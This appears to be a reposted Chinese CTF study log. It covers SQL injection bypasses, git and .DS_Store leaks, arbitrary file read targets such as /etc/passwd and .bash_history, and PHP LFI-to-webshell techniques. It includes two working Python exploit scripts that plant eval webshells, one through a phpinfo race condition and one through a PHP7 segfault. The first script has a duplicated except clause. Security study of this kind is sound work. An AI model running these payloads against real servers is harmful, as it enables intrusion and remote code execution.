2023 10月8日 至 10 月16日学习总结

news2024/11/19 5:43:32

1.做的题目

[RootersCTF2019]I_<3_Flask_双层小牛堡的博客-CSDN博客

[NCTF2019]SQLi regexp 盲注-CSDN博客

[网鼎杯 2018]Comment git泄露 / 恢复 二次注入 .DS_Store bash_history文件查看-CSDN博客

PHP LFI 利用临时文件Getshell_双层小牛堡的博客-CSDN博客

[NPUCTF2020]ezinclude 文件包含两大 getshell方式-CSDN博客

Bugku sql注入 基于布尔的SQL盲注 经典题where information过滤-CSDN博客

2.知识点

参数爆破

首先就是对网站进行基本的信息收集 但是备份,扫描,抓包

都没有效果的时候可以进行参数爆破

通过工具 arjun可以爆破

arjun -u url  -m GET  -c 100 -d 5

这里是通过慢速 来实现爆破 100个一组 延迟时间为 5 

SQL正则盲注  regexp

sql题一般我先进行fuzz 然后进行测试注入

这里给出一个知识点

转义符 \ 构造闭合

select * from username = '\' and password = '';

这里的 '\' 可以让 username 绕过 因为我们的注入点是在password上

这里解释一下 转义符这里没有过滤 所以我们可以rang \' 变为'


select * from username = '\' and password = '#'

这个时候 字符串 ' and password  就被外面两个 ' 闭合了

所以我们构造 ||1 就可以变为


'\' and password = '||1#'

这里大家直接去phpmyadmin尝试即可

绕过空格

/**/ 或者 %09

都可以

正则盲注

这里放出了正则和 ^

原理是

假设我的表名为admin

select * from username = '\' and password = ' || password regexp "^a"


后面的 "^a"  是开头为 a 的就返回 true 所以我们可以进行盲注

这里还需要00截断后面的引号

但是我们盲注需要通过python 所以这里也介绍一下python的库

python库

首先是 string

这里我们就不需要指定 37-128

直接通过这个库就可以将可打印的字符输出

然后就是-00截断的库

from urllib import parse

这个库是url编码


a = parse.unquote('%00')

这里就是post的url编码后的00截断

GIT泄露

首先通过扫描可以发现存在git泄露

然后通过工具实现

https://gitcode.net/mirrors/BugScanTeam/GitHack?utm_source=csdn_github_accelerator

然后发现存在的代码是出错的

这里就可以通过 .git文件来恢复数据

GIT数据恢复

首先查看日志


git log -all

然后通过指定就可以恢复成以前的代码


git reset --hard 字符

二次注入的危险函数

addslashes 将输入转变为字符串 原封不动存入数据库

这里的注入闭合 文章里面写的比较详细了 大家去看就可以了

任意文件读取

做这个题的时候 知道任意文件读取是高危 但是确实不知道去看什么比较好

/proc/self/environ
/proc/self/cmdline

/etc/passwd 查看存在的用户

/home/用户/.bash_history 查看该用户的历史命令

 .DS_Store泄露

获取内容了 因为 .DS_Store 存在很多不可见字符

所以我们可以通过hex输出 然后通过瑞士军刀 解密 并且作为文件输出

然后通过工具Python-dsstore-master

来解密获取

PHP LFI getshell

这里确实学到了很多东西

这里的前提都是存在文件包含

存在phpinfo()

如果存在phpinfo界面 我们通过对phpinfo不断发送垃圾包 其中的内容中包含着木马

这个时候我们上传的临时文件就会保存在 临时文件目录下

并且通过linux和win的命名规则存储

我们只需要去包含 就会生成木马

这里只需要通过条件竞争即可

#!/usr/bin/python3
import sys
import threading
import socket
 
 
def setup(host, port):
    TAG = "安全测试"
    PAYLOAD = """%s\r
<?php file_put_contents('/tmp/shell', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
    REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding = "A" * 5000
    REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
    # modify this to suit the LFI script
    LFIREQ = """GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)
 
 
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
    s.connect((host, port))
    s2.connect((host, port))
 
    s.send(phpinforeq.encode())
    d = b""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index(b"[tmp_name] =&gt; ")
        fn = d[i + 17:i + 31]
    except ValueError:
        return None
 
    s2.send((lfireq % (fn.decode(), host)).encode())
    d = s2.recv(4096)
    s.close()
    s2.close()
 
    if d.find(tag.encode()) != -1:
        return fn.decode()
 
 
counter = 0
 
 
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args
 
    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter += 1
 
            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print("\n成功!Shell已创建在 /tmp/shell")
                    self.event.set()
 
            except socket.error:
                return
 
 
def getOffset(host, port, phpinforeq):
    """获取php输出中tmp_name的偏移量"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(phpinforeq.encode())
 
    d = b""
    while True:
        i = s.recv(4096)
        d += i
        if i == b"":
            break
        # detect the final chunk
        if i.endswith(b"0\r\n\r\n"):
            break
    s.close()
    i = d.find(b"[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("在phpinfo输出中未找到php tmp_name")
 
    print("在位置 %i 找到 %s" % (i, d[i:i + 10].decode()))
    # 加一些填充
    return i + 256
 
 
def main():
    print("LFI With PHPInfo()")
    print("-=" * 30)
 
    if len(sys.argv) < 2:
        print("用法:%s 主机 [端口] [线程数]" % sys.argv[0])
        sys.exit(1)
 
    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error as e:
        print("主机名 %s 无效,请确保输入正确的主机名或IP地址。" % sys.argv[1])
        host = socket.gethostbyname(sys.argv[1])
    except socket.error as e:
        print("主机名 %s 无效,请确保输入正确的主机名或IP地址。" % sys.argv[1])
        sys.exit(1)
 
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
    numthreads = int(sys.argv[3]) if len(sys.argv) > 3 else 10
 
    phpinforeq, tag, lfireq = setup(host, port)
    offset = getOffset(host, port, phpinforeq)
 
    print("\n[*] 开始进行LFI攻击...")
    threads = []
    e = threading.Event()
    l = threading.Lock()
 
    try:
        for i in range(numthreads):
            t = ThreadWorker(e, l, 100, host, port, phpinforeq, offset, lfireq, tag)
            threads.append(t)
            t.start()
 
        while not e.is_set():
            try:
                e.wait(1)
            except KeyboardInterrupt:
                print("\n[*] 收到中断信号,正在停止攻击...")
                e.set()
 
    except socket.error as e:
        print("连接错误:%s" % str(e))
 
    for t in threads:
        t.join()
 
    print("\n[*] 攻击结束。")
 
 
if __name__ == "__main__":
    main()

大家还是读读上面代码 也能学到内容

PHP7 Segment Falut

首先是 php7 的一个漏洞

通过特定伪协议包含文件会发生段错误 这个时候上传的文件会保存在临时文件下 并且不会被删除


php://filter/sring.strip_tags
存在dir类型的页面

我们只需要去包含里面的漏洞文件即可

不存在dir类型页面

通过爆破实现即可

下面是存在dir页面的时候的脚本

# -*- coding: utf-8 -*-
import re
import requests
from io import BytesIO
 
# 定义漏洞URL和文件路径
vul_url = "http://localhost/index.php?file=php://filter/string.strip_tags/resource=C:/Windows/win.ini"
url2 = "http://localhost/dir.php"
 
# 构建文件
files = {'file': BytesIO('<?php eval($_REQUEST[1]);?>')}
 
# 发送漏洞利用请求
req = requests.post(url=vul_url, files=files, allow_redirects=False)
req2 = requests.get(url=url2)
# 获取临时文件名
content1 = re.search(r"php[a-zA-Z0-9]{1,}.tmp", req2.content).group(0)
 
# 构建获取目录列表的URL
url3 = "http://localhost/index.php?file=C:/Windows/{}".format(content1)
 
# 构建命令
data = {
    1: "system('dir');"
}
 
# 发送获取目录列表的请求
req3 = requests.post(url=url3, data=data)
 
# 输出结果
print u"目录列表:\n{}".format(req3.text)

SESSION LIF getshell

HAVE SESSION

一样 需要存在文件包含漏洞

这里是通过session 用户会话getshell

首先我们发送存在session的包的时候 会在session存储位置保存着session文件

取名是为 sess_输入

Cookie: PHPSESSID=输入

一般处理会话 要么是通过 原始输入 要么就是通过序列化输入

如果不对用户会话文件进行处理 那么我们只需要写入一句话即可

如果对用户会话进行base64加密 那么我们只需要 构造 4个字符一组的方式 解密即可

记住要过滤掉特殊字符

NO SESSION

当session没有开启的时候

我们可以通过php的特性 文件上传的时候

传递

session.upload_progress.name:<?php phpinfo();?>

这个内容是可控的 并且原本文件上传就存在 如果还发送一次 就开启session 并且存入临时文件

 这里的流程图为

文件上传 --->设置session -----> 传递session.upload_progress.name 造成session开启 存入内容

这里去看原本的文章更加详细

SQL过滤许多的盲注

这道题确实过滤了巨多东西

这里的知识点

方法一

select substr('flag',1)---->flag

select substr('flag',2)---->lag

然后我们只需要两次substr 并且倒装输出即可

select reverse(substr('flag',1)) ---->galf

select substr(reverse(substr('flag',1)),4)----->f


select substr(reverse(substr('flag',1)),3)----->fl

然后盲注过滤了 = 号  我们可以通过 <> 不等号实现

1 <> 1 返回false

1 <> 2 返回 true

因为过滤了查询列名和表名的系统库 所以这里直接通过 字典爆破即可

方法二

通过 减去 来实现

a'or((ascii(substr((select(password))from(1)))-48))--

这里也是因为 过滤了 = 号

这里也推荐大家去看上面文章 写的详细 这里只是简单的记录

3.不足

这些题 混在一起 我就有点没想到 git那种题目的确实很简单 但是确实也是没有想到

4.下一周计划

专心准备比赛

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1117192.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

《动手学深度学习 Pytorch版》 9.7 序列到序列学习(seq2seq)

循环神经网络编码器使用长度可变的序列作为输入&#xff0c;将其编码到循环神经网络编码器固定形状的隐状态中。 为了连续生成输出序列的词元&#xff0c;独立的循环神经网络解码器是基于输入序列的编码信息和输出序列已经看见的或者生成的词元来预测下一个词元。 要点&#x…

关于使用 vxe-table 时设置了 show-overflow tooltip 不展示的问题(Dialog 组件和 table 同时使用)

众所周知&#xff0c;vxe-table 是可以支撑万级数据渲染的表格组件&#xff0c;本质上还是用了虚拟滚动的实现。之前一直知道vxe-table, 但是基本没有机会用的上这个组件&#xff0c;最近在开发埋点数据的统计&#xff0c;后端一次性返回了上千条数据&#xff0c;elementui 的 …

【Shell】环境变量 自定义变量 特殊变量

Shell变量&#xff1a;环境变量 目标 1、理解什么是系统环境变量&#xff1f; 2、掌握常用的系统环境变量都有哪些&#xff1f; Shell变量的介绍 变量用于存储管理临时的数据, 这些数据都是在运行内存中的. 变量类型 系统环境变量 自定义变量 特殊符号变量 系统环境变…

golang查看CPU使用率与内存及源码中的//go:指令

golang查看CPU使用率与内存 1 psutil 1.1 概念与应用场景 psutil是业内一个用于监控OS资源的软件包&#xff0c;目前已经多种语言&#xff0c;包括但不限于Python、Go。 gopsutil是 Python 工具库psutil 的 Golang 移植版&#xff0c;可以帮助我们方便地获取各种系统和硬件信…

基于Java的实验室设备管理系统设计与实现(源码+lw+部署文档+讲解等)

文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09; 代码参考数据库参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作者&am…

如何在电脑上设置新的蓝牙耳机

本文介绍如何将蓝牙耳机连接到Windows或Mac电脑。 如何在Windows上设置新的蓝牙耳机 蓝牙耳机的设置过程因平台而异&#xff0c;但以下是Windows 11的步骤&#xff1a; 1、选择“开始”&#xff0c;然后在搜索框中输入蓝牙&#xff0c;以显示蓝牙和其他设备。 2、选择添加设…

【LeetCode:2316. 统计无向图中无法互相到达点对数 | BFS + 乘法原理】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…

施密特正交化

相信大家在平时的期末考试中一定少不了对某某向量组执行标准正交化类型的题目。今天我们从这个题目入手&#xff0c;说明这个如何执行施密特正交化&#xff0c;以及为什么要进行正交化。 一、例子 例子&#xff1a;设 a 1 [ 1 2 − 1 ] a_1\begin{bmatrix}1\\2\\-1\end{bmat…

阿里妈妈Union Lab全量公测,你会用吗?

Union Lab是一种智能化的选品推荐、推广内容创作工具&#xff0c;它内置了大语言模型&#xff08;LLMs&#xff09;&#xff0c;使得选品、推广更加智能和简单。通过联盟底层货品服务&#xff0c;Union Lab可以实现智能化货品发现、分析、选品、投放、创意生产&#xff0c;基于…

嵌入式mqtt总线架构方案mosquitto+paho

一 mqtt通信模型 MQTT 协议提供一对多的消息发布&#xff0c;可以降低应用程序的耦合性&#xff0c;用户只需要编写极少量的应用代码就能完成一对多的消息发布与订阅&#xff0c;该协议是基于<客户端-服务器>模型&#xff0c;在协议中主要有三种身份&#xff1a;发布者&…

力扣第37题 解数独 c++ 难~ 回溯

题目 37. 解数独 困难 相关标签 数组 哈希表 回溯 矩阵 编写一个程序&#xff0c;通过填充空格来解决数独问题。 数独的解法需 遵循如下规则&#xff1a; 数字 1-9 在每一行只能出现一次。数字 1-9 在每一列只能出现一次。数字 1-9 在每一个以粗实线分隔的 3x3 宫…

基于Java的文物管理系统设计与实现(源码+lw+部署文档+讲解等)

文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09; 代码参考数据库参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作者&am…

GRASP 、SOLID 与 GoF 设计模式

一、GRASP GRASP&#xff1a;通用职责分配软件设计模式(General Responsibility Assignment Software Patterns)&#xff0c;其主要思想是基于单一职责设计软件对象。 思考软件对象设计以及大型构件的流行方式是&#xff0c;考虑其职责、角色和协作。这是被称为职责驱动设计&a…

C++:无法查找或打开 PDB 文件?? 如何解决呢?以及产生原因是什么?

C:无法查找或打开 PDB 文件?? 如何解决呢&#xff1f;以及产生原因是什么&#xff1f; 前言解决办法原因 前言 最近博主在写C时&#xff0c;明明代码都正确&#xff0c;但编译失败。查看原因后发现显示&#xff1a;无法查找或打开 PDB 文件。&#xff08;先介绍解决办法&…

【高等数学】微分中值定理

文章目录 1、极值2、费马引理3、罗尔定理4、拉格朗日中值定理4.1用拉格朗日定理证明基本结论 5、柯西中值定理6、微分中值定理的意义7、三大中值定理的意义 1、极值 若 ∃ δ > 0 ∃δ>0 ∃δ>0&#xff0c;使得 ∀ x ∈ U ( x 0 , δ ) ∀x\in U(x_0,δ) ∀x∈U(x0…

DDD与微服务的千丝万缕

一、软件设计发展过程二、什么是DDD&#xff1f;2.1 战略设计2.2 战术设计2.3 名词扫盲1. 领域和子域2. 核心域、通用域和支撑域3. 通用语言4. 限界上下文5. 实体和值对象6. 聚合和聚合根 2.4 事件风暴2.5 领域事件 三、DDD与微服务3.1 DDD与微服务的关系3.2 基于DDD进行微服务…

2023年中国煤气节能器产量及市场规模分析[图]

煤气节能器行业是指生产和销售用于煤气燃烧系统中的节能器的行业。煤气节能器是一种能够有效提高煤气燃烧效率、降低燃烧过程中的热损失的装置&#xff0c;广泛应用于工业生产、民用燃烧等领域。煤气节能器行业的发展与煤气燃烧技术的发展密切相关&#xff0c;随着煤气燃烧技术…

操作系统期末复习题版详解(含解析)

操作系统期末复习 第一章 操作系统引论 一、Os具有哪几大特征?它们之间有何关系? 【参考答案】OS具有并发、共享、虚拟和异步这4个基本特征。它们之间的关系包含以下几个方面。 并发和共享是OS最基本的特征。为了提高计算机资源的利用率&#xff0c;OS必然要采用多道程序设…

Excel 5s内导入20w条简单数据(ExecutorType.BATCH)Mybatis批处理的应用

文章目录 Excel 5s内导入20w条数据1. 生成20w条数据1.1 使用Excel 宏生成20w条数据1.2 生成成功 2. ExecutorType&#xff1a;批量操作执行器类型2.1 ExecutorType.SIMPLE2.2 ExecutorType.BATCH2.3 ExecutorType.REUSE 3. 20w条数据直接插入数据库3.1 使用ExecutorType.SIMPLE…

成功解决ModuleNotFoundError: No module named ‘docx.text.hyperlink‘

成功解决ModuleNotFoundError: No module named docx.text.hyperlink 目录 解决问题 解决思路 解决方法 解决问题 ModuleNotFoundError: No module named ‘docx.text.hyperlink‘ 解决思路 No module named docx.text.hyperlink"。这个错误通常表示你的代码中缺少了…